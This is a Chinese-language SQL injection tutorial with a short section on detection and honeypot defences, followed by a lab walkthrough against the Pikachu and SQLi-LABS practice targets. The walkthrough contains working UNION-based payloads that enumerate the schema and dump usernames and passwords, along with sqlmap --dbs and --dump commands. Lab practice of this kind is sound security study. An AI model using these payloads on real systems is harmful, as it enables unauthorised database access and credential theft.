严正声明:本文仅限于技术讨论,严禁用于其他用途。
在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。简而言之就是,由于用户不可控输入,攻击者可以任意的输入恶意的sql语句,使原始的查询语句的语义发生改 变。从而对数据库或 *** 作系统产生风险。
注意:注入攻击的本质,就是把用户输入的数据当做代码执行。
注入漏洞最根源的问题是,没有安全编码规范
注:最好的防御,就是内部先发现 。
监测方面目前大多都是:日志监控+waf。日志推荐走数据库日志,越是离资源 *** 作 近的地方,越是容易做到真正的安全。数据库日志容易解析,语法出错的、语法读 Info表的,都明确是黑客嘛,还能帮我们发现SQL注入点。蜜罐方面:数据库里可放置一些蜜罐数据的帐号和密码。假如这有一个服务,可以先从日志入手,发现请求恶意异常时,自动转发蜜罐。比如用户表里,前几十行里,做些用户名和密码 进行,实际上没有人用,一旦被登录,立马报警。 四、SQL注入分类 按照数据类型分类 数字型字符型 按照注入点分类(哪些地方存在sql注入) GET型(注入点在UR)POST型(注入点在表单输入框中,且数据提交方式是POST,如登录框、注册框)COOKIE型(注入点在cookie中)Header型(注入点在头部)其他(请求报文中只要能够被后端脚本引擎接受的数据均可SQL注入) 按照数据获取的方式分类 回显注入–联合查询报错注入–报错回显(extractvalue(), updatexml(), floor())盲注(没有错误回显) bool盲注–逻辑语句判断查询出的字符时间盲注–利用页面演示情况判断数据库中的数据日志监控—>蜜罐数据—>异常报警
注意:
盲注,time盲注,报错注入,union注入这些注入漏洞出现频率较高
在不影响正常服务的情况下,拼接查询算最高危害的,接下来就是union。
比较好检测的注入有:盲注,time盲注,报错注入等
说明:靶场环境为pakachu 注入漏洞数字型
参考文章: Pikachu漏洞平台练习_七天的博客-CSDN博客_pikachu漏洞练习平台
1、判断是否存在SQL注入点我们通过在变量后加payload来判断注入点:
and 1=1 /and 1=2 /' 通过输入这些payload后的回显页面,我们轻松看出是否存在注入;
另外MYSQL有三种常用的注释符:
-- 该注释符后面有一个空格,单行注释;
/* */ 注释符号内的内容,多行注释;
# 对该行#后面的内容进行注释,单行注释。
2、判断注入类型
a) 数字型注入
测试步骤:
1. 加单引号,这时sql语句后面多了一个单引号,会报错;
2. 加and 1=1,语句正常执行,页面与原始页面相同;
3. 加and 1=2,语句也可以正常执行,但页面会与原始网页存在差距
如满足以上三点,可以判断此处存在数字型注入
b) 字符型注入
字符型注入的sql语句为:
select * from 【表名】where name = 'zhangsan’
同样加单引号,但后面要带上注释符来注释掉后面多余的单引号,具体还是拿sql语句直观看一下:
select * from 【表名】where name = 'zhangsan’ and 1=1 #'
第二个单引号是我们自己加的,用来'闭合前一个引号以便我们在后面继续加代码,#用来注释掉最后面多余的'
当回显正常时我们可以判断此处为字符型注入。
c) 其他类型注入(此处不做展示)
3、判断字段数order by 函数是对MySQL中查询结果按照指定字段名进行排序,
除了指定字段名还可以指定字段的栏位进行排序,
第一个查询字段为1,第二个为2,依次 类推。
若输入数值为n时报错,那么表示没有n个字段,总的字段数为n-1。
4、判断回显位置
通过上一步我们可以知道字段数,然后通过union select 1,2,3 ······n (n的数值为字段数)来判断回显位置
5、判断数据库名
或者
id=1 union select 1,group_concat(schema_name) from information_schema.schemata
6、确定表名
id=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()
7、确定字段名
id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()
8、获取用户名与密码
7、获取"username"、"password"的值
id=1 union select group_concat(username),group_concat(password) from pikachu.users
或者
id=1 union select 1,group_concat(username,'---',password) from users
或者
id=1 union select username,password from users
9、MD5解密—破解密码
值得注意的是MD5是不可逆的,也就是说MD5加密其实是无法解密的,只能在数据库里匹配,这个数据库里存放的是以往待加密数据与加密后数据的字典
说明:靶场环境为SQLi-LABS Page-1
1、判断是否存在注入点sqlmap -u "http://192.168.137.1:91/Less-1/?id=1"
出现如图类似的内容表示存在注入点:
2、爆数据库名爆出所有数据库信息
sqlmap -u "http://192.168.137.1:91/Less-1/?id=1" --dbs
爆出当前数据库信息
sqlmap -u "http://192.168.137.1:91/Less-1/?id=1" --current-db
3、指定库名,列出所有元素
sqlmap -u "http://192.168.137.1:91/Less-1/?id=1" -D security --tables
4、指定库名、表名,列出所有字段
sqlmap -u "http://192.168.137.1:91/Less-1/?id=1" -D security -T users --columns
5、指定库名、表名、字段名,列出指定字段
sqlmap -u "http://192.168.137.1:91/Less-1/?id=1" -D security --T users -C username,password --dump
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)